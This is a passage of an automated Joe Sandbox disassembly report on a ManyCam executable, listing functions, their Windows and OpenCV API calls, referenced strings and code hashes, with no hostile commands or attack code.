Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocatorDebugHeap$EscapeExecuteShell_invalid_parameter_noinfomemset
String ID: http://manycam.com/upload_effect?filepath=
API String ID: 2685471194-4228746029
Opcode ID: f474d8a17c69ee73db076593b281a7d49717d1ab03933d9e87b073d459428043
Instruction ID: 1ebb1af0b2b9467f4388abbf65d4e58c0fdf4eb3bcc8d7c7d81431b3f3e3b6ed
Opcode Fuzzy Hash: f474d8a17c69ee73db076593b281a7d49717d1ab03933d9e87b073d459428043
Instruction Fuzzy Hash: 44315E71D01219ABCB14EF94EC99BEEB7B8EF48704F0001ADE516A72D0DB386A44CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0041D690 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 71COMMON

Download Yara Rule

Strings

Error opening properties for this camera., xrefs: 0041D751
Error, xrefs: 0041D74C

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID:
String ID: Error$Error opening properties for this camera.
API String ID: 0-2118436274
Opcode ID: 19554b0057f9a520c76bc3dad455c1dc10b7e99a60b9304a2b7680d00d384350
Instruction ID: 147417b0d663a9565f7becfaf8392b6f7256af2672039c8dcafe371fef67c71d
Opcode Fuzzy Hash: 19554b0057f9a520c76bc3dad455c1dc10b7e99a60b9304a2b7680d00d384350
Instruction Fuzzy Hash: 1B212CB0D00208EFDB04EFA5DD92BEEBBB4EB04718F10052EE416A72D1DB786945DB95

Uniqueness

Uniqueness Score: -1.00%

Function 00438A10 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 65memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 004B77A0: fwprintf.MSVCR80 ref: 004B7842
Part of subcall function 004B77A0: fflush.MSVCR80 ref: 004B7852

clock.MSVCR80 ref: 00438AA7
_DebugHeapAllocator.LIBCPMTD ref: 00438AC5

Strings

ob@, xrefs: 00438A20
>>> Entering: %s, xrefs: 00438A91

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocatorDebugHeapclockfflushfwprintf
String ID: >>> Entering: %s$ob@
API String ID: 1338021872-1849792878
Opcode ID: 096be4365fe6ecaff6f57c3d342fa79fd521a6c5a1afd4c32245b02c1f24962e
Instruction ID: e5c4b020fe9bb3bd421ac8dd4bd2dede87d7f0cb66a8b34f549f2a89e30843bb
Opcode Fuzzy Hash: 096be4365fe6ecaff6f57c3d342fa79fd521a6c5a1afd4c32245b02c1f24962e
Instruction Fuzzy Hash: 9D216075900209AFDB04EF94C942AEEBB74FF44718F10852DF816A73C1DB746A04CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 017820C9 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

cvNextNArraySlice.CXCORE099(?), ref: 01782106
cvError.CXCORE099(FFFFFF2E,cvNorm,017A124F,.\cxnorm.cpp,000004BC), ref: 01782153
cvErrorFromIppStatus.CXCORE099(00000000,cvNorm,OpenCV function failed,.\cxnorm.cpp,000004B0), ref: 0178217B
cvError.CXCORE099(00000000), ref: 01782184

Strings

.\cxnorm.cpp, xrefs: 0178213F
cvNorm, xrefs: 01782149

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Error$ArrayFromNextSliceStatus
String ID: .\cxnorm.cpp$cvNorm
API String ID: 1688085075-318670674
Opcode ID: 4bf3531d93205c8ea3d99e2119705e52fb9a61283187c8412c87d48c42a04086
Instruction ID: 9c356171c8e18ab7a98828c95b48629873257e2870c94e9c4155ad82df12573a
Opcode Fuzzy Hash: 4bf3531d93205c8ea3d99e2119705e52fb9a61283187c8412c87d48c42a04086
Instruction Fuzzy Hash: 3301D4B26483069BD720AE19EC44B2BF7F4FBC4715F004A1CFA8453146D771E964CB86

Uniqueness

Uniqueness Score: -1.00%

Function 01786770 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 13COMMON

Download Yara Rule

APIs

cvError.CXCORE099(000000E5,icvReleaseSeq,NULL double pointer,.\cxpersistence.cpp,00000FB4), ref: 0178678E

Part of subcall function 01736DF0: cvSetErrStatus.CXCORE099(00000000,00000000,?,016F107F,000000FC,cvAlloc,Out of memory,.\cxalloc.cpp,0000006F), ref: 01736DFD

Strings

icvReleaseSeq, xrefs: 01786787
NULL double pointer, xrefs: 01786782
.\cxpersistence.cpp, xrefs: 0178677D

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: ErrorStatus
String ID: .\cxpersistence.cpp$NULL double pointer$icvReleaseSeq
API String ID: 1596131371-858871611
Opcode ID: 10ede67505a88463cde595b779c9afa884723ede87b66c2de6892cef09057504
Instruction ID: 01f74a12e96821d497f250117ae0285557c035ef89ddaccf3090b26cc7e2fb38
Opcode Fuzzy Hash: 10ede67505a88463cde595b779c9afa884723ede87b66c2de6892cef09057504
Instruction Fuzzy Hash: CAC012E43D530237DE12672A9C62F56F5C45B90E04FC5416C751866593F3B495405462

Uniqueness

Uniqueness Score: -1.00%

Function 00418380 Relevance: 6.3, APIs: 4, Instructions: 316windowCOMMON

Download Yara Rule

APIs

GetFocus.USER32 ref: 004186F4

Part of subcall function 00408360: lstrlenW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004083C6
Part of subcall function 00408360: CompareStringW.KERNEL32(00000400,00000001,?,00000003,<A>,00000003), ref: 00408424
Part of subcall function 00408360: CompareStringW.KERNEL32(00000400,00000001,?,00000004,</A>,00000004), ref: 00408474

Part of subcall function 004078E0: GetClientRect.USER32(?,00000000), ref: 004078F1

Part of subcall function 00418A60: SetBkMode.GDI32(?,00000001), ref: 00418A71

Part of subcall function 00418A40: SelectObject.GDI32(?,?), ref: 00418A51

GetSysColor.USER32(00000011), ref: 004184AA

Part of subcall function 00418810: DeleteDC.GDI32(00000000), ref: 00418824

GetFocus.USER32 ref: 0041858A

Part of subcall function 00418AF0: DrawTextW.USER32(00000000,?,00000000,?,000000FF), ref: 00418B0D

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: CompareFocusString$ClientColorDeleteDrawModeObjectRectSelectTextlstrlen
String ID:
API String ID: 1926319676-0
Opcode ID: 26e55d2ddd3d839f70efe0ddea58adb9d72dd7b4482a26fa95ec74e06393aeaf
Instruction ID: 8fd3581a3690b51667abaed722c69e7692ca1fee28cda492897b23429118541a
Opcode Fuzzy Hash: 26e55d2ddd3d839f70efe0ddea58adb9d72dd7b4482a26fa95ec74e06393aeaf
Instruction Fuzzy Hash: DCD1FA719002089FDB08DF95C891AEEBBB5FF48344F14811EE5166B392DF39A985CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0176C019 Relevance: 6.2, APIs: 4, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ae3a60d75bdf5cfdf41a42cf612f876b542a3b6f34ebf8e21bf45ef07f3f7bc
Instruction ID: 5c6afee1f25082582f81bfb83509adac583ef20fff8b4f9f81391fdd8bb0b1b6
Opcode Fuzzy Hash: 0ae3a60d75bdf5cfdf41a42cf612f876b542a3b6f34ebf8e21bf45ef07f3f7bc
Instruction Fuzzy Hash: 5C917671A0C3418FC3A5AF55C14028AF7F4FBC4360F618E2EEAC592265E7798855CF82

Uniqueness

Uniqueness Score: -1.00%

Function 004731C0 Relevance: 6.2, APIs: 4, Instructions: 177memoryCOMMON

Download Yara Rule

APIs

_DebugHeapAllocator.LIBCPMTD ref: 0047326B
_DebugHeapAllocator.LIBCPMTD ref: 004732C6

Part of subcall function 0040EDB0: _DebugHeapAllocator.LIBCPMTD ref: 0040EDE7

_DebugHeapAllocator.LIBCPMTD ref: 00473373
_DebugHeapAllocator.LIBCPMTD ref: 004733BF

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocatorDebugHeap
String ID:
API String ID: 571936431-0
Opcode ID: 8d22956a6eca960c08d3dff8719a7386b74edfd0f08a11446174f923434c786a
Instruction ID: ba553dcd13a5858e603f1fb76aea40c35e3a739926aa5d8f94fbf40c4e6c359d
Opcode Fuzzy Hash: 8d22956a6eca960c08d3dff8719a7386b74edfd0f08a11446174f923434c786a
Instruction Fuzzy Hash: 38716C71D04248EFCB08EFA5C891BEEBBB1AF44304F10856EE416BB2D1DB385A05CB94

Uniqueness

Uniqueness Score: -1.00%

Function 004377F0 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetPolicy.LIBCMTD ref: 00437873

Part of subcall function 004DB530: _DebugHeapAllocator.LIBCPMTD ref: 004DB54A

Concurrency::details::SchedulerBase::GetPolicy.LIBCMTD ref: 00437893
Concurrency::task_options::get_scheduler.LIBCPMTD ref: 00437911
Concurrency::task_options::get_scheduler.LIBCPMTD ref: 00437931

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Base::Concurrency::details::Concurrency::task_options::get_schedulerPolicyScheduler$AllocatorDebugHeap
String ID:
API String ID: 3769596188-0
Opcode ID: ae50dedc5bff3189a4c5ee1f5f7d387c5ef5596cba0e4c588fdb73d77bb84b94
Instruction ID: e04cd424ada27803d4de57edeb00dc09ccd5da108a2e1a4cd45ff0b3344883ed
Opcode Fuzzy Hash: ae50dedc5bff3189a4c5ee1f5f7d387c5ef5596cba0e4c588fdb73d77bb84b94
Instruction Fuzzy Hash: 2551C9B1D052089BCB08EFD5D851AEEBBB5EF48304F10816EE415AB391DB386905CB95

Uniqueness

Uniqueness Score: -1.00%

Function 005128B0 Relevance: 6.1, APIs: 4, Instructions: 129memoryCOMMON

Download Yara Rule

APIs

_DebugHeapAllocator.LIBCPMTD ref: 005128FB
_DebugHeapAllocator.LIBCPMTD ref: 0051292B
_DebugHeapAllocator.LIBCPMTD ref: 00512953
_DebugHeapAllocator.LIBCPMTD ref: 0051297B

Part of subcall function 004CB0F0: _DebugHeapAllocator.LIBCPMTD ref: 004CB139
Part of subcall function 004CB0F0: _DebugHeapAllocator.LIBCPMTD ref: 004CB155
Part of subcall function 004CB0F0: _DebugHeapAllocator.LIBCPMTD ref: 004CB171
Part of subcall function 004CB0F0: _DebugHeapAllocator.LIBCPMTD ref: 004CB1A3
Part of subcall function 004CB0F0: _DebugHeapAllocator.LIBCPMTD ref: 004CB1D6

Part of subcall function 0050E580: wcscpy.MSVCR80 ref: 0050E5EC
Part of subcall function 0050E580: wcscpy.MSVCR80 ref: 0050E623

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocatorDebugHeap$wcscpy
String ID:
API String ID: 147117728-0
Opcode ID: d0bbc9be73f287d5b3265cda2ea85270813d23556e8a0590b6fb4fd8d4f8cf1c
Instruction ID: 4db675f979ab1b4fcf933bf1fc0f7ec6c4e65dab18244cadebc46eb2865c177d
Opcode Fuzzy Hash: d0bbc9be73f287d5b3265cda2ea85270813d23556e8a0590b6fb4fd8d4f8cf1c
Instruction Fuzzy Hash: FF512AB0906259DFEB14DF58D899BAEBBB5BF48304F1042EDE409A7281C7385E44CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00424150 Relevance: 6.1, APIs: 4, Instructions: 107COMMON

Download Yara Rule

APIs

Part of subcall function 0041AA40: GetWindowLongW.USER32(?,74C45DB3), ref: 0041AA51

Part of subcall function 0041E880: SetWindowLongW.USER32(74C45DB3,00000001,74C45DB3), ref: 0041E895

memset.MSVCR80 ref: 00424199

Part of subcall function 00424C20: SendMessageW.USER32(?,00000418,00000000,?), ref: 00424C38

memset.MSVCR80 ref: 0042420A

Part of subcall function 00424CB0: SendMessageW.USER32(?,00000432,00000000,004234AC), ref: 00424CC8

GetSysColor.USER32(0000000D), ref: 00424246

Part of subcall function 00424C50: SendMessageW.USER32(?,00000413,00000000,00000000), ref: 00424C68

GetSysColor.USER32(0000000E), ref: 0042425A

Part of subcall function 00424C80: SendMessageW.USER32(?,00000414,00000000,00000000), ref: 00424C98

Part of subcall function 00424BF0: SendMessageW.USER32(?,0000041A,00000000,00000000), ref: 00424C08

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: MessageSend$ColorLongWindowmemset
String ID:
API String ID: 364163598-0
Opcode ID: ca4f91228ccd88ec06df88587eba8f35eadc2edbafeba585f7b4b6ebc1d4d150
Instruction ID: b7621caee83b87087722d0fc06bec11bb6e010a42a84f963952b34725cf3772b
Opcode Fuzzy Hash: ca4f91228ccd88ec06df88587eba8f35eadc2edbafeba585f7b4b6ebc1d4d150
Instruction Fuzzy Hash: 5D410EB0A451289BDB04DB99DCA1FADBB75BF8C714F14021DF505BB3C2CA78A450CB69

Uniqueness

Uniqueness Score: -1.00%

Function 004CB670 Relevance: 6.1, APIs: 4, Instructions: 105memoryCOMMON

Download Yara Rule

APIs

_DebugHeapAllocator.LIBCPMTD ref: 004CB6AA

Part of subcall function 004CDD10: _DebugHeapAllocator.LIBCPMTD ref: 004CDD47

_DebugHeapAllocator.LIBCPMTD ref: 004CB711
_DebugHeapAllocator.LIBCPMTD ref: 004CB76F
_DebugHeapAllocator.LIBCPMTD ref: 004CB787

Part of subcall function 0040EDB0: _DebugHeapAllocator.LIBCPMTD ref: 0040EDE7

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocatorDebugHeap
String ID:
API String ID: 571936431-0
Opcode ID: d8dd091d62933aa0e0d22cb533b24b345fb768a8967b578f071013b0fdbbec97
Instruction ID: 38e3a450d274fc90888437ce31c1c227629e1880207a410873065ac097306c4e
Opcode Fuzzy Hash: d8dd091d62933aa0e0d22cb533b24b345fb768a8967b578f071013b0fdbbec97
Instruction Fuzzy Hash: 9B411771D01109EFDB04EFA5C992BEEBBB4AF14304F10852EE512B72D1DB746A08CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 004233E0 Relevance: 6.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 0040DB90: EnableWindow.USER32(?,004233F6), ref: 0040DBA1

memset.MSVCR80 ref: 00423401

Part of subcall function 00424C20: SendMessageW.USER32(?,00000418,00000000,?), ref: 00424C38

memset.MSVCR80 ref: 00423472

Part of subcall function 00424CB0: SendMessageW.USER32(?,00000432,00000000,004234AC), ref: 00424CC8

GetSysColor.USER32(0000000D), ref: 004234AE

Part of subcall function 00424C50: SendMessageW.USER32(?,00000413,00000000,00000000), ref: 00424C68

GetSysColor.USER32(0000000E), ref: 004234C2

Part of subcall function 00424C80: SendMessageW.USER32(?,00000414,00000000,00000000), ref: 00424C98

Part of subcall function 00424BF0: SendMessageW.USER32(?,0000041A,00000000,00000000), ref: 00424C08

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: MessageSend$Colormemset$EnableWindow
String ID:
API String ID: 3254005938-0
Opcode ID: 9547226adb342bfd39b01646857f65c79a1ef8127a810dff08a050f6dd987676
Instruction ID: 106a6f500417accf57ea954c1e823afec406d325b5afcb2095aae49042dfd20f
Opcode Fuzzy Hash: 9547226adb342bfd39b01646857f65c79a1ef8127a810dff08a050f6dd987676
Instruction Fuzzy Hash: FF311270E441069BDB04DB99DCA2F7EB7B5AF88708F04811DF5157B3C2CA78A416CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00406040 Relevance: 6.1, APIs: 4, Instructions: 85COMMON

Download Yara Rule

APIs

_CIsqrt.MSVCR80 ref: 00406080
_CIatan.MSVCR80 ref: 004060E0
_CIatan.MSVCR80 ref: 00406102
_CIatan.MSVCR80 ref: 00406126

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Iatan$Isqrt
String ID:
API String ID: 1025909456-0
Opcode ID: 57f5941b643651e987862c1e0d1d6f7d17b30a8860795f25dd51119af805d3df
Instruction ID: 369849f07fd1038270b353e5a516803fc2d99b3ba7736fd5bc0cfa9b85f71fc3
Opcode Fuzzy Hash: 57f5941b643651e987862c1e0d1d6f7d17b30a8860795f25dd51119af805d3df
Instruction Fuzzy Hash: 8631E671609302EFC701AF44E64816ABFA4FFC1751FA18D88E4E922199D73198758F8B

Uniqueness

Uniqueness Score: -1.00%

Function 00403480 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

cvPyrDown.CV099(?,?,00000007,FFFFFFFE,?,?,?,0040176B,?,?), ref: 004034E8
cvPyrDown.CV099(?,?,00000007,?,?,00000007,FFFFFFFE,?,?,?,0040176B,?,?), ref: 004034F7
cvSobel.CV099(?,?,00000001,00000000,00000003,?,?,00000007,?,?,00000007,FFFFFFFE,?,?,?,0040176B), ref: 0040350A
cvSobel.CV099(?,?,00000000,00000001,00000003,?,?,00000001,00000000,00000003,?,?,00000007,?,?,00000007), ref: 0040351D

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: DownSobel
String ID:
API String ID: 2091289516-0
Opcode ID: 608739ef99aa2b8ac6037748a2c71a64cfb87480d08a35d0b3f2b324fed52bd1
Instruction ID: b26035920ab24ae20490de8e438dd73d2ed62edcb4c8bde505a6cb4d7121f0fe
Opcode Fuzzy Hash: 608739ef99aa2b8ac6037748a2c71a64cfb87480d08a35d0b3f2b324fed52bd1
Instruction Fuzzy Hash: 46215EB5700701ABD724DE28DD81F67B7E9BB88711F448929FA869B6D0C671F5018B10

Uniqueness

Uniqueness Score: -1.00%

Function 00446480 Relevance: 6.1, APIs: 4, Instructions: 51windowCOMMON

Download Yara Rule

APIs

GetTopWindow.USER32(?), ref: 0044648F
GetWindow.USER32(00000000,00000002), ref: 004464A0
SendMessageW.USER32(00000000,?,?,?), ref: 004464BF
GetTopWindow.USER32(00000000), ref: 004464CF

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Window$MessageSend
String ID:
API String ID: 1496643700-0
Opcode ID: 0fc2dd0073c28b6c66ec9f54719fca97d74c0b9b452a9e8b98ab4c061e3703d5
Instruction ID: 5599d8aec985cfa69e8589d1268fc08193e69a2bbc754be235a44f600a99598a
